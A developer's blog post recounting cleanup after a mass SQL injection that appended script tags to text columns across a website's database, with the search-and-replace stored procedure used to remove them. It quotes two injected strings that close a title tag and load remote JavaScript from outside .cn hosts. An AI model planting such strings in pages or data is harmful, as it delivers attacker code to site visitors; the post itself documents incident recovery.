I received an email from my website manager indicating several errors across  different pages. I hate days that start with issues like that, I first thought that someone again broke the website through an edit. But Beyond Compare told me I was totally wrong. I dug even further and realized that values returning from the database were incorrect.

Going down further I opened a whole table with 2 columns containing weird data. Column values have been altered with the following string concatenated to the original value:

"></title><script src="http://www3.800mg.cn/csrss/w.js"></script><!--

"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--

image

Thank god the original value was still there or I would be crying right now instead of writing this blog post. This is called Code injection and in this case it's using a Cross Site Script to run in the user's browser.

At first I thought a single table was infected. So I wrote a small Linq To Sql code that fixed it. I then came to realize that the matter was worse and a lot of tables have been infected!

I did a quick search for "search and replace" SQL stored procedure and found SearchAndReplace. The SP simply takes a Search string and Replace string and then goes through ALL tables then each column and row and replaces all occurrences.

I quickly ran the following:

USE [databasename]
GO

DECLARE    @return_value int

EXEC    @return_value = [databasename].[SearchAndReplace]
        @SearchStr = N'"></title><script src="http://www3.800mg.cn/csrss/w.js"></script><!--',
        @ReplaceStr = N''

SELECT    'Return Value' = @return_value

GO

image And voila, the website was back on track. I had over 80,000 occurrences! The stored procedure took less than 10 seconds. I thought it would take longer time to execute.

I changed the database password to something tougher (combination of numbers and lower and upper case letters). I also removed the SearchAndReplace stored procedure ;)

 

Now that I am happy again, I comfortly searched  Google for the same injected code and found TONS of infected websites, 840 to be exact!! ASP.NET, JSP, PHP...this virus got everybody.

 

For reference, here's the stored procedure:

CREATE PROC SearchAndReplace
(
    @SearchStr nvarchar(100),
    @ReplaceStr nvarchar(100)
)
AS
BEGIN

    -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
    -- Purpose: To search all columns of all tables for a given search string and replace it with another string
    -- Written by: Narayana Vyas Kondreddi
    -- Site: http://vyaskn.tripod.com
    -- Tested on: SQL Server 7.0 and SQL Server 2000
    -- Date modified: 2nd November 2002 13:50 GMT

    SET NOCOUNT ON

    DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110), @SQL nvarchar(4000), @RCTR int
    SET  @TableName = ''
    SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
    SET @RCTR = 0

    WHILE @TableName IS NOT NULL
    BEGIN
        SET @ColumnName = ''
        SET @TableName = 
        (
            SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
            FROM     INFORMATION_SCHEMA.TABLES
            WHERE         TABLE_TYPE = 'BASE TABLE'
                AND    QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
                AND    OBJECTPROPERTY(
                        OBJECT_ID(
                            QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
                             ), 'IsMSShipped'
                               ) = 0
        )

        WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
        BEGIN
            SET @ColumnName =
            (
                SELECT MIN(QUOTENAME(COLUMN_NAME))
                FROM     INFORMATION_SCHEMA.COLUMNS
                WHERE         TABLE_SCHEMA    = PARSENAME(@TableName, 2)
                    AND    TABLE_NAME    = PARSENAME(@TableName, 1)
                    AND    DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')
                    AND    QUOTENAME(COLUMN_NAME) > @ColumnName
            )
    
            IF @ColumnName IS NOT NULL
            BEGIN
                SET @SQL=    'UPDATE ' + @TableName + 
                        ' SET ' + @ColumnName 
                        + ' =  REPLACE(' + @ColumnName + ', ' 
                        + QUOTENAME(@SearchStr, '''') + ', ' + QUOTENAME(@ReplaceStr, '''') + 
                        ') WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
                EXEC (@SQL)
                SET @RCTR = @RCTR + @@ROWCOUNT
            END
        END    
    END

    SELECT 'Replaced ' + CAST(@RCTR AS varchar) + ' occurence(s)' AS 'Outcome'
END
kick it on DotNetKicks.com